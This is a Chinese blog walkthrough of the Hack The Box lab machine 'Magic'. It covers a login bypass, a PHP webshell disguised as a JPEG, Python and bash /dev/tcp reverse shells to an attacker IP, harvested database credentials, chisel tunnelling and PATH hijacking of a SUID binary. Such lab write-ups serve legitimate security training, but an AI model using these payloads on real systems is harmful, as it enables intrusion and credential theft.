zoukankan      html  css  js  c++  java
  • HTB-靶机-Magic

    本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关

    靶机是作者购买VIP使用退役靶机操作,显示IP地址为10.10.10.185

    本次使用https://github.com/Tib3rius/AutoRecon 进行自动化全方位扫描

    信息枚举收集
    https://github.com/codingo/Reconnoitre 跟autorecon类似
    autorecon 10.10.10.185 -o ./Magic-autorecon
    
    sudo nmap -sT -p- --min-rate 10000 -oA scans/alltcp 10.10.10.185
    或者
    
    sudo masscan -p1-65535,U:1-65535 10.10.10.185 --rate=1000 -p1-65535,U:1-65535 -e tun0 > ports
    ports=$(cat ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr '
    ' ',' | sed 's/,$//')
    sudo nmap -Pn -sV -sC -p$ports 10.10.10.185

    访问80端口

    看到一个Login页面

    试了下默认口令不成功,试了万能密码,尼玛成功登录了

    登录进去就是个上传图片的页面,测试了下可以上传图片格式的文件,但是上传带马的图片就不行,可以通过参考下面的文章进行绕过

    https://en.wikipedia.org/wiki/List_of_file_signatures
    https://httpd.apache.org/docs/2.4/glossary.html#media-type
    https://httpd.apache.org/docs/2.4/mod/mod_mime.html

    制作反弹shell的小马

    echo 'FFD8FFDB' | xxd -r -p > webshell.php.jpg
    echo '<?=`$_GET[0]`?>' >> webshell.php.jpg

    上述制作完成就可以通过上面的上传页面直接上传上去了,成功之后直接写入反弹shell代码拿shell

    下面是在浏览器上访问的地址,然后可以反弹shell
    http://10.10.10.185/images/uploads/webshell.php.jpg?0=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.16",8833));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
    
    浏览器访问后的编码地址
    http://10.10.10.185/images/uploads/webshell.php.jpg?0=python3%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%2210.10.14.16%22,8833));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/sh%22,%22-i%22]);%27

    升级tty-shell

    python3 -c 'import pty; pty.spawn("/bin/bash")'

    在目标靶机上发现数据库的账户和密码

    www-data@ubuntu:/var/www/Magic$ cat db.php5
    <?php
    class Database
    {
        private static $dbName = 'Magic' ;
        private static $dbHost = 'localhost' ;
        private static $dbUsername = 'theseus';
        private static $dbUserPassword = 'iamkingtheseus';

    尝试在靶机上使用mysql客户端连接,但提示没有安装,想办法将数据库端口转发到本地kali机器上,相关工具如下:

    https://github.com/jpillora/chisel
    https://github.com/jpillora/chisel/releases
    具体步骤
    1.在本地kali执行
    ./chisel server -p 8000 -reverse
    
    2.在目标靶机上执行
    ./chisel client 10.10.14.16:8000 R:3306:127.0.0.1:3306 &

    在本地kali连接mysql数据库

    在本地kali连接mysql数据库
    mysql -h 127.0.0.1 -P 3306 -u theseus -piamkingtheseus
    
    执行下面操作指令获取账户和密码
    show databases;
    use Magic;
    show tables;
    select * from login;
    
    执行结果:
    
    MySQL [(none)]> show databases;
    +--------------------+
    | Database           |
    +--------------------+
    | information_schema |
    | Magic              |
    +--------------------+
    2 rows in set (0.256 sec)
    
    MySQL [(none)]> use Magic
    Reading table information for completion of table and column names
    You can turn off this feature to get a quicker startup with -A
    
    Database changed
    MySQL [Magic]> show tables;
    +-----------------+
    | Tables_in_Magic |
    +-----------------+
    | login           |
    +-----------------+
    1 row in set (0.255 sec)
    
    MySQL [Magic]> select * from login;
    +----+----------+----------------+
    | id | username | password       |
    +----+----------+----------------+
    |  1 | admin    | Th3s3usW4sK1ng |
    +----+----------+----------------+
    1 row in set (0.257 sec)
    
    MySQL [Magic]>

    直接使用上面得到的密码登录家目录下的用户theseus,成功登录之后查找目标靶机的suid文件进行提权

    find / -perm -4000 -exec ls -l {} ; 2>/dev/null

    找到下面一个二进制文件带权限s

    -rwsr-x--- 1 root users 22040 Oct 21  2019 /bin/sysinfo
    执行了一下上面的命令发现是收集系统相关信息的指令,使用strings查看下具体哪些指令
    strings /bin/sysinfo
    得到如下有用的内容
    ====================Hardware Info====================
    lshw -short
    ====================Disk Info====================
    fdisk -l
    ====================CPU Info====================
    cat /proc/cpuinfo
    ====================MEM Usage=====================
    free -h

    上面可以通过劫持cat命令来提权

    查看环境变量

    theseus@ubuntu:~$ echo $PATH
    /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
    theseus@ubuntu:~$

    劫持环境变量,让执行cat命令的时候先执行/tmp/目录下的cat,在cat文件中写入反弹代码

    使用echo快速写一个反弹shell
    echo -e '#!/bin/bash
    
    bash -i >& /dev/tcp/10.10.14.16/8822 0>&1' > /tmp/cat
    
    更改环境变量执行顺序
    export PATH=/tmp:$PATH
    echo $PATH

    执行sysinfo命令触发劫持的cat命令反弹shell

    上述执行之后,当执行到cat的时候卡住了

    此时触发了反弹shell代码

    迷茫的人生,需要不断努力,才能看清远方模糊的志向!
  • 相关阅读:
    oracle将blob转为varchar2
    根据给定年份和周数获取指定周的开始结束日期
    获取指定月份的第一个周五
    找回误删的表和数据
    oracle大数据库
    Java数据库编程
    流的使用
    (转)支持 PS/2 与 USB 的键盘过滤驱动(可卸载)
    Unity编辑器扩展-Custom List, displaying data your way
    值得推荐的C/C++框架和库 (真的很强大)〔转〕
  • 原文地址:https://www.cnblogs.com/autopwn/p/14870778.html
Copyright © 2011-2022 走看看